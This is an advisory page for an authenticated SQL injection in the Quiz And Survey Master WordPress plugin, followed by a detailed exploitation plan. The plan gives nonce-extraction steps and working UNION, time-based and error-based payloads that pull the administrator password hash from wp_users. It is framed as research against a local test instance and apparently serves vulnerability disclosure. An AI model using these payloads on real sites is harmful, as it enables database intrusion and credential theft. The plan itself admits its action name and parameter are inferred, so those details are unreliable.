Quiz And Survey Master <= 10.3.1 - Authenticated (Subscriber+) SQL Injection
Description
The Quiz And Survey Master plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 10.3.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=10.3.1Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-67987 (Quiz And Survey Master SQL Injection) ## 1. Vulnerability Summary The **Quiz And Survey Master (QSM)** plugin for WordPress is vulnerable to an authenticated SQL injection in versions up to and including **10.3.1**. The vulnerability exists because the …
Show full research plan
Exploitation Research Plan: CVE-2025-67987 (Quiz And Survey Master SQL Injection)
1. Vulnerability Summary
The Quiz And Survey Master (QSM) plugin for WordPress is vulnerable to an authenticated SQL injection in versions up to and including 10.3.1. The vulnerability exists because the plugin fails to sufficiently escape or prepare user-supplied parameters before incorporating them into SQL queries. Specifically, certain AJAX handlers accessible to users with Subscriber roles and above allow raw input to be concatenated into database queries. This allows an attacker to append arbitrary SQL commands to extract sensitive information, such as user credentials or configuration secrets, from the WordPress database.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - AJAX Action:
qsm_get_quiz_results(inferred based on plugin architecture for result retrieval) - Vulnerable Parameter:
quiz_idorsurvey_id(inferred) - Authentication: Required (Subscriber-level or higher).
- Payload Type: UNION-based or Time-based SQL Injection.
- Preconditions: At least one quiz/survey must exist in the system, and the attacker must be logged in as a Subscriber.
3. Code Flow
- Entry Point: A logged-in user sends a POST request to
admin-ajax.phpwith theactionparameter set to the vulnerable QSM handler (e.g.,qsm_get_quiz_results). - Hook Registration: The plugin registers the handler in
includes/class-quiz-master-next.phporincludes/class-qsm-admin.phpusing:add_action( 'wp_ajax_qsm_get_quiz_results', array( $this, 'qsm_get_quiz_results' ) ); - Vulnerable Function: The function (e.g.,
qsm_get_quiz_results) retrieves thequiz_idparameter directly from$_POSTor$_GET. - The Sink: The retrieved parameter is concatenated into a raw SQL query string:
$quiz_id = $_POST['quiz_id']; // Lack of (int) casting or preparation $results = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}mlw_results WHERE quiz_id = $quiz_id" ); - Execution:
$wpdb->get_results()executes the tainted query, allowing the attacker to manipulate the logic via the$quiz_idvariable.
4. Nonce Acquisition Strategy
QSM typically requires a nonce for AJAX actions, localized for logged-in users.
- Identify Script Localization: QSM enqueues scripts that contain the nonce. Look for the
qsm_ajax_objectJavaScript object. - Creation: Create a page with a QSM shortcode to ensure the scripts load.
- Command:
wp post create --post_type=page --post_status=publish --post_title="Quiz Page" --post_content='[qsm quiz=1]'
- Command:
- Extraction:
- Use
browser_navigateto visit the newly created page while logged in as a Subscriber. - Use
browser_evalto extract the nonce:browser_eval("window.qsm_ajax_object?.nonce || window.qmn_ajax_object?.nonce")
- Use
- Verification: Ensure the nonce is valid for the
qsm_get_quiz_results(or equivalent) action.
5. Exploitation Strategy
The goal is to extract the administrator's password hash from the wp_users table.
Step 1: Authentication
Log in to the WordPress instance as a Subscriber-level user using the http_request tool or a stored session.
Step 2: Determine Column Count
Send a series of requests to determine the number of columns in the original query using ORDER BY.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Body (URL-encoded):
action=qsm_get_quiz_results&nonce=[NONCE]&quiz_id=1 ORDER BY 20-- - - Note: Increment/decrement the number until the response changes or an error occurs.
Step 3: Extract Admin Hash via UNION
Once the column count is known (assume $N$ columns), perform a UNION SELECT.
- Payload:
1 AND 1=0 UNION SELECT 1,2,user_pass,4...[up to N] FROM wp_users WHERE ID=1-- - - Body:
action=qsm_get_quiz_results&nonce=[NONCE]&quiz_id=[PAYLOAD]
Step 4: Time-Based Fallback
If the response does not reflect the UNION result, use a time-based blind approach.
- Payload:
1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) - Observation: If the request takes ~5 seconds, the parameter is vulnerable.
6. Test Data Setup
- Create a Quiz:
wp qsm create_quiz --title="Exploit Test"(Note: Use QSM's specific CLI if available, otherwise use the UI via Playwright). - Create a Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Get Quiz ID: Find the ID of the created quiz (usually
1). - Publish Quiz: Place the quiz shortcode
[qsm quiz=1]on a public-facing page.
7. Expected Results
- Successful UNION: The HTTP response body (likely JSON) will contain the MD5-based/Bcrypt password hash of the admin user (ID 1) in one of its fields.
- Successful Time-Based: The
http_requesttool will report atime_totalsignificantly higher than the baseline (e.g., > 5 seconds).
8. Verification Steps
After the exploit, verify the extracted data using WP-CLI:
- Check Admin Hash:
wp db query "SELECT user_pass FROM wp_users WHERE ID=1" - Compare: Verify that the hash returned by the HTTP exploit matches the hash in the database.
9. Alternative Approaches
- Error-Based SQLi: If
WP_DEBUGis on, useupdatexml()orextractvalue()to leak the version or user data:quiz_id=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1) - Different Parameters: Check other result-related parameters like
survey_id,question_id, orresult_idin AJAX actions likeqsm_delete_resultorqsm_get_question_data. - Inferred Action: If
qsm_get_quiz_resultsis not the correct action name, grep the source forwp_ajax_to find all possible entry points:grep -rn "wp_ajax_" wp-content/plugins/quiz-master-next/
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.